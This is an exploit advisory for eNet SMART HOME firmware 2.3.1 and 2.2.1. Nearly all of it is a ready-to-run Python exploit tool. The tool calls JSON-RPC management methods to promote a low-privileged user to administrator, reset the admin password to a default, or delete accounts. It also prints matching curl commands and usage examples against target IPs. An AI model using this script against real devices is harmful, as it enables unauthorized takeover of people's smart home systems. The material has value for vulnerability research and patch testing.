📄 eNet SMART HOME 2.3.1 Privilege Escalation

=============================================================================================================================================
    | # Title     : eNet SMART HOME ≤ 2.3.1 / 2.2.1 – Authenticated Privilege Escalation via JSON‑RPC Management Interface                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://www.enet-smarthome.com/en/                                                                                          |
    =============================================================================================================================================
    
    [+] Summary    : The eNet Smart Home device firmware (versions 2.3.1 build 46841 and 2.2.1 build 46056) exposes JSON‑RPC management methods that may allow authenticated low‑privileged users to perform unauthorized administrative actions.
                     Improper server‑side authorization controls on the /jsonrpc/management endpoint may enable privilege escalation via methods such as:
    
    setUserGroup
    
    resetUserPassword
    
    deleteUserAccount
    
    If role validation is insufficient, an authenticated standard user may escalate to administrative privileges by manipulating JSON‑RPC parameters.
    
    [+] POC : 
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import sys
    import argparse
    import random
    from urllib3.exceptions import InsecureRequestWarning
    from colorama import init, Fore, Style
    
    init(autoreset=True)
    
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    class ENetSmartHomeExploit:
        def __init__(self, target, port, protocol, icp, verbose=False):
            """
            Initialize the exploit class
            
            Args:
                target (str): Target IP or hostname
                port (str/int): Target port
                protocol (str): http or https
                icp (str): ICP parameter from URL
                verbose (bool): Verbose output
            """
            self.target = target
            self.port = port
            self.protocol = protocol
            self.icp = icp
            self.verbose = verbose
            self.base_url = f"{protocol}://{target}:{port}"
            self.session = requests.Session()
            self.session.verify = False  # Ignore SSL certificates
            self.session.headers.update({
                'Content-Type': 'application/json; charset=utf-8',
                'Accept': 'application/json, */*',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
    
        def print_banner(self):
            """Print tool banner"""
            banner = f"""
    {Fore.CYAN}╔══════════════════════════════════════════════════════════╗
    ║                                                              ║
    ║   {Fore.YELLOW}eNet SMART HOME - Privilege Escalation Exploit by indoushka {Fore.CYAN}            ║
    ║   {Fore.WHITE}ZSL-2026-5975 | Discovered by Gjoko 'LiquidWorm' Krstic{Fore.CYAN}   ║
    ║   {Fore.RED}Version: 2.3.1 (46841) and 2.2.1 (46056){Fore.CYAN}                  ║
    ║                                                              ║
    ╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
            """
            print(banner)
    
        def print_warnings(self):
            """Print important warnings"""
            warnings = f"""
    {Fore.RED}╔══════════════════════════════════════════════════════════╗
    ║                     ⚠️  indoushka  ⚠️                        ║
    ╠══════════════════════════════════════════════════════════════╣
    ║ • This exploit requires a valid session cookie               ║
    ║ • You must be logged in as a regular user first              ║
    ║ • If server validates permissions, exploit will FAIL         ║
    ╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
            """
            print(warnings)
    
        def login(self, username, password):
            """
            Login to get session cookie
            
            Args:
                username (str): Username
                password (str): Password
                
            Returns:
                bool: True if login successful
            """
            print(f"{Fore.YELLOW}[*] Attempting login as {username}...")
            
            url = f"{self.base_url}/jsonrpc/auth"
            payload = {
                "jsonrpc": "2.0",
                "method": "login",
                "params": {
                    "userName": username,
                    "password": password
                },
                "id": 1
            }
            
            try:
                response = self.session.post(url, json=payload, timeout=10)
                
                if response.status_code == 200:
                    data = response.json()
                    if "result" in data and data["result"].get("success"):
                        print(f"{Fore.GREEN}[+] Login successful!")
                        if self.verbose:
                            print(f"{Fore.CYAN}[DEBUG] Cookies: {dict(self.session.cookies)}")
                        return True
                    else:
                        print(f"{Fore.RED}[-] Login failed: Invalid credentials")
                        if self.verbose:
                            print(f"{Fore.CYAN}[DEBUG] Response: {json.dumps(data, indent=2)}")
                else:
                    print(f"{Fore.RED}[-] Login failed: HTTP {response.status_code}")
                    
            except requests.exceptions.RequestException as e:
                print(f"{Fore.RED}[-] Login error: {e}")
                
            return False
    
        def execute_exploit(self, action, **kwargs):
            """
            Execute the exploit
            
            Args:
                action (str): elevate, reset, delete, or test
                **kwargs: Additional parameters based on action
                
            Returns:
                dict: Response data
            """
            url = f"{self.base_url}/jsonrpc/management"
    
            if action == "elevate":
                method = "setUserGroup"
                params = {
                    "userName": kwargs.get("username", "zeroscience"),
                    "userGroup": kwargs.get("group", "UG_ADMIN")
                }
            elif action == "reset":
                method = "resetUserPassword"
                params = {
                    "userName": kwargs.get("username", "admin"),
                    "defaultPassword": kwargs.get("password", "12345678")
                }
            elif action == "delete":
                method = "deleteUserAccount"
                params = {
                    "userName": kwargs.get("username", "zeroscience")
                }
            elif action == "test":
                method = kwargs.get("test_type", "getUserList")
                params = {}
            else:
                print(f"{Fore.RED}[-] Invalid action: {action}")
                return None
    
            request_id = random.randint(1, 9999)
            
            payload = {
                "jsonrpc": "2.0",
                "method": method,
                "params": params,
                "id": request_id
            }
    
            referer = f"{self.base_url}/serverconfiguration.html?icp={self.icp}#Usermanagement"
            self.session.headers.update({'Referer': referer})
            
            print(f"{Fore.YELLOW}[*] Executing: {method}")
            if self.verbose:
                print(f"{Fore.CYAN}[DEBUG] URL: {url}")
                print(f"{Fore.CYAN}[DEBUG] Referer: {referer}")
                print(f"{Fore.CYAN}[DEBUG] Payload: {json.dumps(payload, indent=2)}")
            
            try:
                response = self.session.post(url, json=payload, timeout=10)
                
                if self.verbose:
                    print(f"{Fore.CYAN}[DEBUG] Response status: {response.status_code}")
                    print(f"{Fore.CYAN}[DEBUG] Response headers: {dict(response.headers)}")
                
                if response.status_code == 200:
                    data = response.json()
    
                    if "error" in data:
                        print(f"{Fore.RED}[-] Server returned error:")
                        print(json.dumps(data["error"], indent=2))
    
                        if data["error"].get("code") == -32601:
                            print(f"{Fore.YELLOW}[!] Method not found - Target version may be different")
                        elif "permission" in str(data["error"]).lower():
                            print(f"{Fore.RED}[!] Permission denied - Server validates roles")
                        elif "auth" in str(data["error"]).lower():
                            print(f"{Fore.RED}[!] Authentication failed - Login required")
                        
                        return data
                    else:
                        print(f"{Fore.GREEN}[+] Success!")
                        print(json.dumps(data, indent=2))
    
                        if action == "elevate" and params["userGroup"] == "UG_ADMIN":
                            print(f"{Fore.GREEN}[+] Privilege escalation completed!")
                            print(f"{Fore.YELLOW}[!] User {params['userName']} is now admin")
                        elif action == "reset":
                            print(f"{Fore.GREEN}[+] Password reset completed!")
                        elif action == "delete":
                            print(f"{Fore.GREEN}[+] User deleted successfully!")
                        elif action == "test" and "result" in data:
                            print(f"{Fore.GREEN}[+] Test passed - Vulnerability may be present")
                        
                        return data
                else:
                    print(f"{Fore.RED}[-] HTTP Error: {response.status_code}")
                    
                    if response.status_code == 401:
                        print(f"{Fore.RED}[!] Unauthorized - Login required first")
                    elif response.status_code == 403:
                        print(f"{Fore.RED}[!] Forbidden - Insufficient permissions or CSRF token required")
                    elif response.status_code == 404:
                        print(f"{Fore.RED}[!] Not Found - Check URL or endpoint")
                        
                    if self.verbose:
                        print(f"{Fore.CYAN}[DEBUG] Response text: {response.text[:200]}")
                        
            except requests.exceptions.Timeout:
                print(f"{Fore.RED}[-] Request timeout (10s) - Server not responding")
            except requests.exceptions.ConnectionError:
                print(f"{Fore.RED}[-] Connection failed - Check target and port")
            except requests.exceptions.RequestException as e:
                print(f"{Fore.RED}[-] Request error: {e}")
                
            return None
    
        def get_session_info(self):
            """Get current session information"""
            print(f"{Fore.YELLOW}[*] Session information:")
            print(f"    Cookies: {dict(self.session.cookies)}")
            print(f"    Headers: {dict(self.session.headers)}")
    
        def generate_curl_command(self, action, **kwargs):
            """
            Generate curl command for manual testing
            
            Args:
                action (str): Action type
                **kwargs: Parameters for the action
            """
            if action == "elevate":
                method = "setUserGroup"
                params = {
                    "userName": kwargs.get("username", "zeroscience"),
                    "userGroup": kwargs.get("group", "UG_ADMIN")
                }
            elif action == "reset":
                method = "resetUserPassword"
                params = {
                    "userName": kwargs.get("username", "admin"),
                    "defaultPassword": kwargs.get("password", "12345678")
                }
            elif action == "delete":
                method = "deleteUserAccount"
                params = {
                    "userName": kwargs.get("username", "zeroscience")
                }
            elif action == "test":
                method = kwargs.get("test_type", "getUserList")
                params = {}
            else:
                return None
                
            payload = {
                "jsonrpc": "2.0",
                "method": method,
                "params": params,
                "id": random.randint(1, 9999)
            }
            
            referer = f"{self.base_url}/serverconfiguration.html?icp={self.icp}#Usermanagement"
            
            curl_cmd = f"""
    {Fore.CYAN}# ============================================
    # RECOMMENDED METHOD - Command Line (No browser restrictions)
    # ============================================
    
    # Step 1: Login and save cookies
    curl -k -c cookies.txt -X POST "{self.base_url}/jsonrpc/auth" \\
      -H "Content-Type: application/json" \\
      -d '{json.dumps({"jsonrpc":"2.0","method":"login","params":{"userName":"YOUR_USERNAME","password":"YOUR_PASSWORD"},"id":1})}'
    
    # Step 2: Execute exploit
    curl -k -b cookies.txt -X POST "{self.base_url}/jsonrpc/management" \\
      -H "Content-Type: application/json" \\
      -H "Referer: {referer}" \\
      -d '{json.dumps(payload)}'
    
    # ============================================
    # Notes:
    # - Use -k to ignore SSL certificate errors
    # - Cookies saved in cookies.txt
    # - Replace YOUR_USERNAME/YOUR_PASSWORD with actual credentials
    # ============================================{Style.RESET_ALL}
    """
            print(curl_cmd)
    
    def main():
        parser = argparse.ArgumentParser(
            description="eNet SMART HOME Privilege Escalation Exploit (ZSL-2026-5975)",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      python3 exploit.py -t 192.168.1.100 -p 443 --icp a1b2c3d4e5 --protocol https --action elevate -u zeroscience -g UG_ADMIN
      python3 exploit.py -t 192.168.1.100 -p 80 --icp a1b2c3d4e5 --action reset -u admin --password 12345678
      python3 exploit.py -t 192.168.1.100 -p 443 --icp a1b2c3d4e5 --action delete -u zeroscience
      python3 exploit.py -t 192.168.1.100 -p 443 --icp a1b2c3d4e5 --action test --curl
            """
        )
        
        parser.add_argument("-t", "--target", required=True, help="Target IP or hostname")
        parser.add_argument("-p", "--port", required=True, help="Target port")
        parser.add_argument("--protocol", choices=["http", "https"], default="https", help="Protocol (default: https)")
        parser.add_argument("--icp", required=True, help="ICP parameter from URL (required)")
        parser.add_argument("--action", choices=["elevate", "reset", "delete", "test"], default="test", help="Action to perform")
        parser.add_argument("--login", action="store_true", help="Login first")
        parser.add_argument("-U", "--login-username", default="admin", help="Username for login")
        parser.add_argument("-P", "--login-password", default="12345678", help="Password for login")
        parser.add_argument("-u", "--username", default="zeroscience", help="Username for the action")
        parser.add_argument("-g", "--group", choices=["UG_USER", "UG_ADMIN"], default="UG_ADMIN", help="Target group for elevation")
        parser.add_argument("--password", default="12345678", help="New password for reset action")
        parser.add_argument("--test-type", choices=["getUserList", "getSystemInfo"], default="getUserList", help="Test type")
        parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
        parser.add_argument("--curl", action="store_true", help="Generate curl command only")
        parser.add_argument("--no-warnings", action="store_true", help="Disable warnings")
        
        args = parser.parse_args()
    
        exploit = ENetSmartHomeExploit(
            target=args.target,
            port=args.port,
            protocol=args.protocol,
            icp=args.icp,
            verbose=args.verbose
        )
    
        exploit.print_banner()
    
        if not args.no_warnings:
            exploit.print_warnings()
        if args.curl:
            exploit.generate_curl_command(
                action=args.action,
                username=args.username,
                group=args.group,
                password=args.password,
                test_type=args.test_type
            )
            sys.exit(0)
    
        if args.login:
            if not exploit.login(args.login_username, args.login_password):
                print(f"{Fore.RED}[-] Login failed. Exiting.")
                sys.exit(1)
        else:
            print(f"{Fore.YELLOW}[!] Warning: Not logging in. Make sure you have a valid session cookie.")
            print(f"{Fore.YELLOW}[!] Use --login to login first or --curl for manual testing.")
        if args.action == "elevate":
            exploit.execute_exploit(
                action="elevate",
                username=args.username,
                group=args.group
            )
        elif args.action == "reset":
            exploit.execute_exploit(
                action="reset",
                username=args.username,
                password=args.password
            )
        elif args.action == "delete":
            exploit.execute_exploit(
                action="delete",
                username=args.username
            )
        elif args.action == "test":
            exploit.execute_exploit(
                action="test",
                test_type=args.test_type
            )
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print(f"\n{Fore.YELLOW}[!] Interrupted by user")
            sys.exit(0)
        except Exception as e:
            print(f"{Fore.RED}[-] Unexpected error: {e}")
            sys.exit(1)
    		
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================